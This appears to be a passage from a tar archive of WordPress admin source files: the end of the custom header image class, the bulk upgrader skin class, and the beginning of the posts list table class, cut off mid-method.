			$_POST['width']  = $_POST['width'] * $_POST['oitar'];
			$_POST['height'] = $_POST['height'] * $_POST['oitar'];
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		$original      = get_attached_file( $attachment_id );

		$dimensions = $this->get_header_dimensions(
			array(
				'height' => $_POST['height'],
				'width'  => $_POST['width'],
			)
		);
		$height     = $dimensions['dst_height'];
		$width      = $dimensions['dst_width'];

		if ( empty( $_POST['skip-cropping'] ) ) {
			$cropped = wp_crop_image(
				$attachment_id,
				(int) $_POST['x1'],
				(int) $_POST['y1'],
				(int) $_POST['width'],
				(int) $_POST['height'],
				$width,
				$height
			);
		} elseif ( ! empty( $_POST['create-new-attachment'] ) ) {
			$cropped = _copy_image_file( $attachment_id );
		} else {
			$cropped = get_attached_file( $attachment_id );
		}

		if ( ! $cropped || is_wp_error( $cropped ) ) {
			wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
		}

		/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

		$attachment = $this->create_attachment_object( $cropped, $attachment_id );

		if ( ! empty( $_POST['create-new-attachment'] ) ) {
			unset( $attachment['ID'] );
		}

		// Update the attachment.
		$attachment_id = $this->insert_attachment( $attachment, $cropped );

		$url = wp_get_attachment_url( $attachment_id );
		$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );

		// Cleanup.
		$medium = str_replace( wp_basename( $original ), 'midsize-' . wp_basename( $original ), $original );
		if ( file_exists( $medium ) ) {
			wp_delete_file( $medium );
		}

		if ( empty( $_POST['create-new-attachment'] ) && empty( $_POST['skip-cropping'] ) ) {
			wp_delete_file( $original );
		}

		return $this->finished();
	}

	/**
	 * Displays last step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function finished() {
		$this->updated = true;
		$this->step_1();
	}

	/**
	 * Displays the page based on the current step.
	 *
	 * @since 2.1.0
	 */
	public function admin_page() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_die( __( 'Sorry, you are not allowed to customize headers.' ) );
		}

		$step = $this->step();

		if ( 2 === $step ) {
			$this->step_2();
		} elseif ( 3 === $step ) {
			$this->step_3();
		} else {
			$this->step_1();
		}
	}

	/**
	 * Unused since 3.5.0.
	 *
	 * @since 3.4.0
	 *
	 * @param array $form_fields
	 * @return array $form_fields
	 */
	public function attachment_fields_to_edit( $form_fields ) {
		return $form_fields;
	}

	/**
	 * Unused since 3.5.0.
	 *
	 * @since 3.4.0
	 *
	 * @param array $tabs
	 * @return array $tabs
	 */
	public function filter_upload_tabs( $tabs ) {
		return $tabs;
	}

	/**
	 * Chooses a header image, selected from existing uploaded and default headers,
	 * or provides an array of uploaded header data (either new, or from media library).
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $choice Which header image to select. Allows for values of 'random-default-image',
	 *                      for randomly cycling among the default images; 'random-uploaded-image',
	 *                      for randomly cycling among the uploaded images; the key of a default image
	 *                      registered for that theme; and the key of an image uploaded for that theme
	 *                      (the attachment ID of the image). Or an array of arguments: attachment_id,
	 *                      url, width, height. All are required.
	 */
	final public function set_header_image( $choice ) {
		if ( is_array( $choice ) || is_object( $choice ) ) {
			$choice = (array) $choice;

			if ( ! isset( $choice['attachment_id'] ) || ! isset( $choice['url'] ) ) {
				return;
			}

			$choice['url'] = sanitize_url( $choice['url'] );

			$header_image_data = (object) array(
				'attachment_id' => $choice['attachment_id'],
				'url'           => $choice['url'],
				'thumbnail_url' => $choice['url'],
				'height'        => $choice['height'],
				'width'         => $choice['width'],
			);

			update_post_meta( $choice['attachment_id'], '_wp_attachment_is_custom_header', get_stylesheet() );

			set_theme_mod( 'header_image', $choice['url'] );
			set_theme_mod( 'header_image_data', $header_image_data );

			return;
		}

		if ( in_array( $choice, array( 'remove-header', 'random-default-image', 'random-uploaded-image' ), true ) ) {
			set_theme_mod( 'header_image', $choice );
			remove_theme_mod( 'header_image_data' );

			return;
		}

		$uploaded = get_uploaded_header_images();

		if ( $uploaded && isset( $uploaded[ $choice ] ) ) {
			$header_image_data = $uploaded[ $choice ];
		} else {
			$this->process_default_headers();
			if ( isset( $this->default_headers[ $choice ] ) ) {
				$header_image_data = $this->default_headers[ $choice ];
			} else {
				return;
			}
		}

		set_theme_mod( 'header_image', sanitize_url( $header_image_data['url'] ) );
		set_theme_mod( 'header_image_data', $header_image_data );
	}

	/**
	 * Removes a header image.
	 *
	 * @since 3.4.0
	 */
	final public function remove_header_image() {
		$this->set_header_image( 'remove-header' );
	}

	/**
	 * Resets a header image to the default image for the theme.
	 *
	 * This method does not do anything if the theme does not have a default header image.
	 *
	 * @since 3.4.0
	 */
	final public function reset_header_image() {
		$this->process_default_headers();
		$default = get_theme_support( 'custom-header', 'default-image' );

		if ( ! $default ) {
			$this->remove_header_image();
			return;
		}

		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );

		$default_data = array();
		foreach ( $this->default_headers as $header => $details ) {
			if ( $details['url'] === $default ) {
				$default_data = $details;
				break;
			}
		}

		set_theme_mod( 'header_image', $default );
		set_theme_mod( 'header_image_data', (object) $default_data );
	}

	/**
	 * Calculates width and height based on what the currently selected theme supports.
	 *
	 * @since 3.9.0
	 *
	 * @param array $dimensions
	 * @return array dst_height and dst_width of header image.
	 */
	final public function get_header_dimensions( $dimensions ) {
		$max_width       = 0;
		$width           = absint( $dimensions['width'] );
		$height          = absint( $dimensions['height'] );
		$theme_height    = get_theme_support( 'custom-header', 'height' );
		$theme_width     = get_theme_support( 'custom-header', 'width' );
		$has_flex_width  = current_theme_supports( 'custom-header', 'flex-width' );
		$has_flex_height = current_theme_supports( 'custom-header', 'flex-height' );
		$has_max_width   = current_theme_supports( 'custom-header', 'max-width' );
		$dst             = array(
			'dst_height' => null,
			'dst_width'  => null,
		);

		// For flex, limit size of image displayed to 1500px unless theme says otherwise.
		if ( $has_flex_width ) {
			$max_width = 1500;
		}

		if ( $has_max_width ) {
			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
		}
		$max_width = max( $max_width, $theme_width );

		if ( $has_flex_height && ( ! $has_flex_width || $width > $max_width ) ) {
			$dst['dst_height'] = absint( $height * ( $max_width / $width ) );
		} elseif ( $has_flex_height && $has_flex_width ) {
			$dst['dst_height'] = $height;
		} else {
			$dst['dst_height'] = $theme_height;
		}

		if ( $has_flex_width && ( ! $has_flex_height || $width > $max_width ) ) {
			$dst['dst_width'] = absint( $width * ( $max_width / $width ) );
		} elseif ( $has_flex_width && $has_flex_height ) {
			$dst['dst_width'] = $width;
		} else {
			$dst['dst_width'] = $theme_width;
		}

		return $dst;
	}

	/**
	 * Creates an attachment 'object'.
	 *
	 * @since 3.9.0
	 *
	 * @param string $cropped              Cropped image URL.
	 * @param int    $parent_attachment_id Attachment ID of parent image.
	 * @return array An array with attachment object data.
	 */
	final public function create_attachment_object( $cropped, $parent_attachment_id ) {
		$parent     = get_post( $parent_attachment_id );
		$parent_url = wp_get_attachment_url( $parent->ID );
		$url        = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

		$size       = wp_getimagesize( $cropped );
		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

		$attachment = array(
			'ID'             => $parent_attachment_id,
			'post_title'     => wp_basename( $cropped ),
			'post_mime_type' => $image_type,
			'guid'           => $url,
			'context'        => 'custom-header',
			'post_parent'    => $parent_attachment_id,
		);

		return $attachment;
	}

	/**
	 * Inserts an attachment and its metadata.
	 *
	 * @since 3.9.0
	 *
	 * @param array  $attachment An array with attachment object data.
	 * @param string $cropped    File path to cropped image.
	 * @return int Attachment ID.
	 */
	final public function insert_attachment( $attachment, $cropped ) {
		$parent_id = isset( $attachment['post_parent'] ) ? $attachment['post_parent'] : null;
		unset( $attachment['post_parent'] );

		$attachment_id = wp_insert_attachment( $attachment, $cropped );
		$metadata      = wp_generate_attachment_metadata( $attachment_id, $cropped );

		// If this is a crop, save the original attachment ID as metadata.
		if ( $parent_id ) {
			$metadata['attachment_parent'] = $parent_id;
		}

		/**
		 * Filters the header image attachment metadata.
		 *
		 * @since 3.9.0
		 *
		 * @see wp_generate_attachment_metadata()
		 *
		 * @param array $metadata Attachment metadata.
		 */
		$metadata = apply_filters( 'wp_header_image_attachment_metadata', $metadata );

		wp_update_attachment_metadata( $attachment_id, $metadata );

		return $attachment_id;
	}

	/**
	 * Gets attachment uploaded by Media Manager, crops it, then saves it as a
	 * new object. Returns JSON-encoded object details.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_crop() {
		check_ajax_referer( 'image_editor-' . $_POST['id'], 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_send_json_error();
		}

		$crop_details = $_POST['cropDetails'];

		$dimensions = $this->get_header_dimensions(
			array(
				'height' => $crop_details['height'],
				'width'  => $crop_details['width'],
			)
		);

		$attachment_id = absint( $_POST['id'] );

		$cropped = wp_crop_image(
			$attachment_id,
			(int) $crop_details['x1'],
			(int) $crop_details['y1'],
			(int) $crop_details['width'],
			(int) $crop_details['height'],
			(int) $dimensions['dst_width'],
			(int) $dimensions['dst_height']
		);

		if ( ! $cropped || is_wp_error( $cropped ) ) {
			wp_send_json_error( array( 'message' => __( 'Image could not be processed. Please go back and try again.' ) ) );
		}

		/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

		$attachment = $this->create_attachment_object( $cropped, $attachment_id );

		$previous = $this->get_previous_crop( $attachment );

		if ( $previous ) {
			$attachment['ID'] = $previous;
		} else {
			unset( $attachment['ID'] );
		}

		$new_attachment_id = $this->insert_attachment( $attachment, $cropped );

		$attachment['attachment_id'] = $new_attachment_id;
		$attachment['url']           = wp_get_attachment_url( $new_attachment_id );

		$attachment['width']  = $dimensions['dst_width'];
		$attachment['height'] = $dimensions['dst_height'];

		wp_send_json_success( $attachment );
	}

	/**
	 * Given an attachment ID for a header image, updates its "last used"
	 * timestamp to now.
	 *
	 * Triggered when the user tries adds a new header image from the
	 * Media Manager, even if s/he doesn't save that change.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_add() {
		check_ajax_referer( 'header-add', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		update_post_meta( $attachment_id, $key, time() );
		update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );

		wp_send_json_success();
	}

	/**
	 * Given an attachment ID for a header image, unsets it as a user-uploaded
	 * header image for the active theme.
	 *
	 * Triggered when the user clicks the overlay "X" button next to each image
	 * choice in the Customizer's Header tool.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_remove() {
		check_ajax_referer( 'header-remove', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		delete_post_meta( $attachment_id, $key );
		delete_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );

		wp_send_json_success();
	}

	/**
	 * Updates the last-used postmeta on a header image attachment after saving a new header image via the Customizer.
	 *
	 * @since 3.9.0
	 *
	 * @param WP_Customize_Manager $wp_customize Customize manager.
	 */
	public function customize_set_last_used( $wp_customize ) {

		$header_image_data_setting = $wp_customize->get_setting( 'header_image_data' );

		if ( ! $header_image_data_setting ) {
			return;
		}

		$data = $header_image_data_setting->post_value();

		if ( ! isset( $data['attachment_id'] ) ) {
			return;
		}

		$attachment_id = $data['attachment_id'];
		$key           = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		update_post_meta( $attachment_id, $key, time() );
	}

	/**
	 * Gets the details of default header images if defined.
	 *
	 * @since 3.9.0
	 *
	 * @return array Default header images.
	 */
	public function get_default_header_images() {
		$this->process_default_headers();

		// Get the default image if there is one.
		$default = get_theme_support( 'custom-header', 'default-image' );

		if ( ! $default ) { // If not, easy peasy.
			return $this->default_headers;
		}

		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );

		$already_has_default = false;

		foreach ( $this->default_headers as $k => $h ) {
			if ( $h['url'] === $default ) {
				$already_has_default = true;
				break;
			}
		}

		if ( $already_has_default ) {
			return $this->default_headers;
		}

		// If the one true image isn't included in the default set, prepend it.
		$header_images            = array();
		$header_images['default'] = array(
			'url'           => $default,
			'thumbnail_url' => $default,
			'description'   => 'Default',
		);

		// The rest of the set comes after.
		return array_merge( $header_images, $this->default_headers );
	}

	/**
	 * Gets the previously uploaded header images.
	 *
	 * @since 3.9.0
	 *
	 * @return array Uploaded header images.
	 */
	public function get_uploaded_header_images() {
		$header_images = get_uploaded_header_images();
		$timestamp_key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		$alt_text_key  = '_wp_attachment_image_alt';

		foreach ( $header_images as &$header_image ) {
			$header_meta               = get_post_meta( $header_image['attachment_id'] );
			$header_image['timestamp'] = isset( $header_meta[ $timestamp_key ] ) ? $header_meta[ $timestamp_key ] : '';
			$header_image['alt_text']  = isset( $header_meta[ $alt_text_key ] ) ? $header_meta[ $alt_text_key ] : '';
		}

		return $header_images;
	}

	/**
	 * Gets the ID of a previous crop from the same base image.
	 *
	 * @since 4.9.0
	 *
	 * @param array $attachment An array with a cropped attachment object data.
	 * @return int|false An attachment ID if one exists. False if none.
	 */
	public function get_previous_crop( $attachment ) {
		$header_images = $this->get_uploaded_header_images();

		// Bail early if there are no header images.
		if ( empty( $header_images ) ) {
			return false;
		}

		$previous = false;

		foreach ( $header_images as $image ) {
			if ( $image['attachment_parent'] === $attachment['post_parent'] ) {
				$previous = $image['attachment_id'];
				break;
			}
		}

		return $previous;
	}
}
class-bulk-upgrader-skin.php000064400000013111150275632050012070 0ustar00<?php
/**
 * Upgrader API: Bulk_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Generic Bulk Upgrader Skin for WordPress Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Bulk_Upgrader_Skin extends WP_Upgrader_Skin {
	public $in_loop = false;
	/**
	 * @var string|false
	 */
	public $error = false;

	/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'   => '',
			'nonce' => '',
		);
		$args     = wp_parse_args( $args, $defaults );

		parent::__construct( $args );
	}

	/**
	 */
	public function add_strings() {
		$this->upgrader->strings['skin_upgrade_start'] = __( 'The update process is starting. This process may take a while on some hosts, so please be patient.' );
		/* translators: 1: Title of an update, 2: Error message. */
		$this->upgrader->strings['skin_update_failed_error'] = __( 'An error occurred while updating %1$s: %2$s' );
		/* translators: %s: Title of an update. */
		$this->upgrader->strings['skin_update_failed'] = __( 'The update of %s failed.' );
		/* translators: %s: Title of an update. */
		$this->upgrader->strings['skin_update_successful'] = __( '%s updated successfully.' );
		$this->upgrader->strings['skin_upgrade_end']       = __( 'All updates have been completed.' );
	}

	/**
	 * @since 5.9.0 Renamed `$string` (a PHP reserved keyword) to `$feedback` for PHP 8 named parameter support.
	 *
	 * @param string $feedback Message data.
	 * @param mixed  ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( isset( $this->upgrader->strings[ $feedback ] ) ) {
			$feedback = $this->upgrader->strings[ $feedback ];
		}

		if ( str_contains( $feedback, '%' ) ) {
			if ( $args ) {
				$args     = array_map( 'strip_tags', $args );
				$args     = array_map( 'esc_html', $args );
				$feedback = vsprintf( $feedback, $args );
			}
		}
		if ( empty( $feedback ) ) {
			return;
		}
		if ( $this->in_loop ) {
			echo "$feedback<br />\n";
		} else {
			echo "<p>$feedback</p>\n";
		}
	}

	/**
	 */
	public function header() {
		// Nothing. This will be displayed within an iframe.
	}

	/**
	 */
	public function footer() {
		// Nothing. This will be displayed within an iframe.
	}

	/**
	 * @since 5.9.0 Renamed `$error` to `$errors` for PHP 8 named parameter support.
	 *
	 * @param string|WP_Error $errors Errors.
	 */
	public function error( $errors ) {
		if ( is_string( $errors ) && isset( $this->upgrader->strings[ $errors ] ) ) {
			$this->error = $this->upgrader->strings[ $errors ];
		}

		if ( is_wp_error( $errors ) ) {
			$messages = array();
			foreach ( $errors->get_error_messages() as $emessage ) {
				if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) ) {
					$messages[] = $emessage . ' ' . esc_html( strip_tags( $errors->get_error_data() ) );
				} else {
					$messages[] = $emessage;
				}
			}
			$this->error = implode( ', ', $messages );
		}
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').hide();</script>';
	}

	/**
	 */
	public function bulk_header() {
		$this->feedback( 'skin_upgrade_start' );
	}

	/**
	 */
	public function bulk_footer() {
		$this->feedback( 'skin_upgrade_end' );
	}

	/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		$this->in_loop = true;
		printf( '<h2>' . $this->upgrader->strings['skin_before_update_header'] . ' <span class="spinner waiting-' . $this->upgrader->update_current . '"></span></h2>', $title, $this->upgrader->update_current, $this->upgrader->update_count );
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').css("display", "inline-block");</script>';
		// This progress messages div gets moved via JavaScript when clicking on "More details.".
		echo '<div class="update-messages hide-if-js" id="progress-' . esc_attr( $this->upgrader->update_current ) . '"><p>';
		$this->flush_output();
	}

	/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		echo '</p></div>';
		if ( $this->error || ! $this->result ) {
			if ( $this->error ) {
				$after_error_message = sprintf( $this->upgrader->strings['skin_update_failed_error'], $title, '<strong>' . $this->error . '</strong>' );
			} else {
				$after_error_message = sprintf( $this->upgrader->strings['skin_update_failed'], $title );
			}
			wp_admin_notice(
				$after_error_message,
				array(
					'additional_classes' => array( 'error' ),
				)
			);

			echo '<script type="text/javascript">jQuery(\'#progress-' . esc_js( $this->upgrader->update_current ) . '\').show();</script>';
		}
		if ( $this->result && ! is_wp_error( $this->result ) ) {
			if ( ! $this->error ) {
				echo '<div class="updated js-update-details" data-update-details="progress-' . esc_attr( $this->upgrader->update_current ) . '">' .
					'<p>' . sprintf( $this->upgrader->strings['skin_update_successful'], $title ) .
					' <button type="button" class="hide-if-no-js button-link js-update-details-toggle" aria-expanded="false">' . __( 'More details.' ) . '<span class="dashicons dashicons-arrow-down" aria-hidden="true"></span></button>' .
					'</p></div>';
			}

			echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').hide();</script>';
		}

		$this->reset();
		$this->flush_output();
	}

	/**
	 */
	public function reset() {
		$this->in_loop = false;
		$this->error   = false;
	}

	/**
	 */
	public function flush_output() {
		wp_ob_end_flush_all();
		flush();
	}
}
class-wp-posts-list-table.php000064400000174435150275632050012235 0ustar00<?php
/**
 * List Table API: WP_Posts_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying posts in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Posts_List_Table extends WP_List_Table {

	/**
	 * Whether the items should be displayed hierarchically or linearly.
	 *
	 * @since 3.1.0
	 * @var bool
	 */
	protected $hierarchical_display;

	/**
	 * Holds the number of pending comments for each post.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $comment_pending_count;

	/**
	 * Holds the number of posts for this user.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $user_posts_count;

	/**
	 * Holds the number of posts which are sticky.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $sticky_posts_count = 0;

	private $is_trash;

	/**
	 * Current level for output.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	protected $current_level = 0;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global WP_Post_Type $post_type_object
	 * @global wpdb         $wpdb             WordPress database abstraction object.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $post_type_object, $wpdb;

		parent::__construct(
			array(
				'plural' => 'posts',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$post_type        = $this->screen->post_type;
		$post_type_object = get_post_type_object( $post_type );

		$exclude_states = get_post_stati(
			array(
				'show_in_admin_all_list' => false,
			)
		);

		$this->user_posts_count = (int) $wpdb->get_var(
			$wpdb->prepare(
				"SELECT COUNT( 1 )
				FROM $wpdb->posts
				WHERE post_type = %s
				AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' )
				AND post_author = %d",
				$post_type,
				get_current_user_id()
			)
		);

		if ( $this->user_posts_count
			&& ! current_user_can( $post_type_object->cap->edit_others_posts )
			&& empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] )
			&& empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] )
		) {
			$_GET['author'] = get_current_user_id();
		}

		$sticky_posts = get_option( 'sticky_posts' );

		if ( 'post' === $post_type && $sticky_posts ) {
			$sticky_posts = implode( ', ', array_map( 'absint', (array) $sticky_posts ) );

			$this->sticky_posts_count = (int) $wpdb->get_var(
				$wpdb->prepare(
					"SELECT COUNT( 1 )
					FROM $wpdb->posts
					WHERE post_type = %s
					AND post_status NOT IN ('trash', 'auto-draft')
					AND ID IN ($sticky_posts)",
					$post_type
				)
			);
		}
	}

	/**
	 * Sets whether the table layout should be hierarchical or not.
	 *
	 * @since 4.2.0
	 *
	 * @param bool $display Whether the table layout should be hierarchical.
	 */
	public function set_hierarchical_display( $display ) {
		$this->hierarchical_display = $display;
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts );
	}

	/**
	 * @global string   $mode             List table view mode.
	 * @global array    $avail_post_stati
	 * @global WP_Query $wp_query         WordPress Query object.
	 * @global int      $per_page
	 */
	public function prepare_items() {
		global $mode, $avail_post_stati, $wp_query, $per_page;

		if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'posts_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'posts_list_mode', 'list' );
		}

		// Is going to call wp().
		$avail_post_stati = wp_edit_posts_query();

		$this->set_hierarchical_display(
			is_post_type_hierarchical( $this->screen->post_type )
			&& 'menu_order title' === $wp_query->query['orderby']
		);

		$post_type = $this->screen->post_type;
		$per_page  = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' );

		/** This filter is documented in wp-admin/includes/post.php */
		$per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type );

		if ( $this->hierarchical_display ) {
			$total_items = $wp_query->post_count;
		} elseif ( $wp_query->found_posts || $this->get_pagenum() === 1 ) {
			$total_items = $wp_query->found_posts;
		} else {
			$post_counts = (array) wp_count_posts( $post_type, 'readable' );

			if ( isset( $_REQUEST['post_status'] ) && in_array( $_REQUEST['post_status'], $avail_post_stati, true ) ) {
				$total_items = $post_counts[ $_REQUEST['post_status'] ];
			} elseif ( isset( $_REQUEST['show_sticky'] ) && $_REQUEST['show_sticky'] ) {
				$total_items = $this->sticky_posts_count;
			} elseif ( isset( $_GET['author'] ) && get_current_user_id() === (int) $_GET['author'] ) {
				$total_items = $this->user_posts_count;
			} else {
				$total_items = array_sum( $post_counts );

				// Subtract post types that are not included in the admin all list.
				foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
					$total_items -= $post_counts[ $state ];
				}
			}
		}

		$this->is_trash = isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'];

		$this->set_pagination_args(
			array(
				'total_items' => $total_items,
				'per_page'    => $per_page,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function has_items() {
		return have_posts();
	}

	/**
	 */
	public function no_items() {
		if ( isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'] ) {
			echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash;
		} else {
			echo get_post_type_object( $this->screen->post_type )->labels->not_found;
		}
	}

	/**
	 * Determines if the current view is the "All" view.
	 *
	 * @since 4.2.0
	 *
	 * @return bool Whether the current view is the "All" view.
	 */
	protected function is_base_request() {
		$vars = $_GET;
		unset( $vars['paged'] );

		if ( empty( $vars ) ) {
			return true;
		} elseif ( 1 === count( $vars ) && ! empty( $vars['post_type'] ) ) {
			return $this->screen->post_type === $vars['post_type'];
		}

		return 1 === count( $vars ) && ! empty( $vars['mode'] );
	}

	/**
	 * Creates a link to edit.php with params.
	 *
	 * @since 4.4.0
	 *
	 * @param string[] $args      Associative array of URL parameters for the link.
	 * @param string   $link_text Link text.
	 * @param string   $css_class Optional. Class attribute. Default empty string.
	 * @return string The formatted link string.
	 */
	protected function get_edit_link( $args, $link_text, $css_class = '' ) {
		$url = add_query_arg( $args, 'edit.php' );

		$class_html   = '';
		$aria_current = '';

		if ( ! empty( $css_class ) ) {
			$class_html = sprintf(
				' class="%s"',
				esc_attr( $css_class )
			);

			if ( 'current' === $css_class ) {
				$aria_current = ' aria-current="page"';
			}
		}

		return sprintf(
			'<a href="%s"%s%s>%s</a>',
			esc_url( $url ),
			$class_html,
			$aria_current,
			$link_text
		);
	}

	/**
	 * @global array $locked_post_status This seems to be deprecated.
	 * @global array $avail_post_stati
	 * @return array
	 */
	protected function get_views() {
		global $locked_post_status, $avail_post_stati;

		$post_type = $this->screen->post_type;

		if ( ! empty( $locked_post_status ) ) {
			return array();
		}

		$status_links = array();
		$num_posts    = wp_count_posts( $post_type, 'readable' );
		$total_posts  = array_sum( (array) $num_posts );
		$class        = '';

		$current_user_id = get_current_user_id();
		$all_args        = array( 'post_type' => $post_type );
		$mine            = '';

		// Subtract post types that are not included in the admin all list.
		foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
			$total_posts -= $num_posts->$state;
		}

		if ( $this->user_posts_count && $this->user_posts_count !== $total_posts ) {
			if ( isset( $_GET['author'] ) && ( $current_user_id === (int) $_GET['author'] ) ) {
				$class = 'current';
			}

			$mine_args = array(
				'post_type' => $post_type,
				'author'    => $current_user_id,
			);

			$mine_inner_html = sprintf(
				/* translators: %s: Number of posts. */
				_nx(
					'Mine <span class="count">(%s)</span>',
					'Mine <span class="count">(%s)</span>',
					$this->user_posts_count,
					'posts'
				),
				number_format_i18n( $this->user_posts_count )
			);

			$mine = array(
				'url'     => esc_url( add_query_arg( $mine_args, 'edit.php' ) ),
				'label'   => $mine_inner_html,
				'current' => isset( $_GET['author'] ) && ( $current_user_id === (int) $_GET['author'] ),
			);

			$all_args['all_posts'] = 1;
			$class                 = '';
		}

		$all_inner_html = sprintf(
			/* translators: %s: Number of posts. */
			_nx(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				$total_posts,
				'posts'
			),
			number_format_i18n( $total_posts )
		);

		$status_links['all'] = array(
			'url'     => esc_url( add_query_arg( $all_args, 'edit.php' ) ),
			'label'   => $all_inner_html,
			'current' => empty( $class ) && ( $this->is_base_request() || isset( $_REQUEST['all_posts'] ) ),
		);

		if ( $mine ) {
			$status_links['mine'] = $mine;
		}

		foreach ( get_post_stati( array( 'show_in_admin_status_list' => true ), 'objects' ) as $status ) {
			$class = '';

			$status_name = $status->name;

			if ( ! in_array( $status_name, $avail_post_stati, true ) || empty( $num_posts->$status_name ) ) {
				continue;
			}

			if ( isset( $_REQUEST['post_status'] ) && $status_name === $_REQUEST['post_status'] ) {
				$class = 'current';
			}

			$status_args = array(
				'post_status' => $status_name,
				'post_type'   => $post_type,
			);

			$status_label = sprintf(
				translate_nooped_plural( $status->label_count, $num_posts->$status_name ),
				number_format_i18n( $num_posts->$status_name )
			);

			$status_links[ $status_name ] = array(
				'url'     => esc_url( add_query_arg( $status_args, 'edit.php' ) ),
				'label'   => $status_label,
				'current' => isset( $_REQUEST['post_status'] ) && $status_name === $_REQUEST['post_status'],
			);
		}

		if ( ! empty( $this->sticky_posts_count ) ) {
			$class = ! empty( $_REQUEST['show_sticky'] ) ? 'current' : '';

			$sticky_args = array(
				'post_type'   => $post_type,
				'show_sticky' => 1,
			);

			$sticky_inner_html = sprintf(
				/* translators: %s: Number of posts. */
				_nx(
					'Sticky <span class="count">(%s)</span>',
					'Sticky <span class="count">(%s)</span>',
					$this->sticky_posts_count,
					'posts'
				),
				number_format_i18n( $this->sticky_posts_count )
			);

			$sticky_link = array(
				'sticky' => array(
					'url'     => esc_url( add_query_arg( $sticky_args, 'edit.php' ) ),
					'label'   => $sticky_inner_html,
					'current' => ! empty( $_REQUEST['show_sticky'] ),
				),
			);

			// Sticky comes after Publish, or if not listed, after All.
			$split        = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ), true );
			$status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) );
		}

		return $this->get_views_links( $status_links );
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions       = array();
		$post_type_obj = get_post_type_object( $this->screen->post_type );

		if ( current_user_can( $post_type_obj->cap->edit_posts ) ) {
			if ( $this->is_trash ) {
				$actions['untrash'] = __( 'Restore' );
			} else {
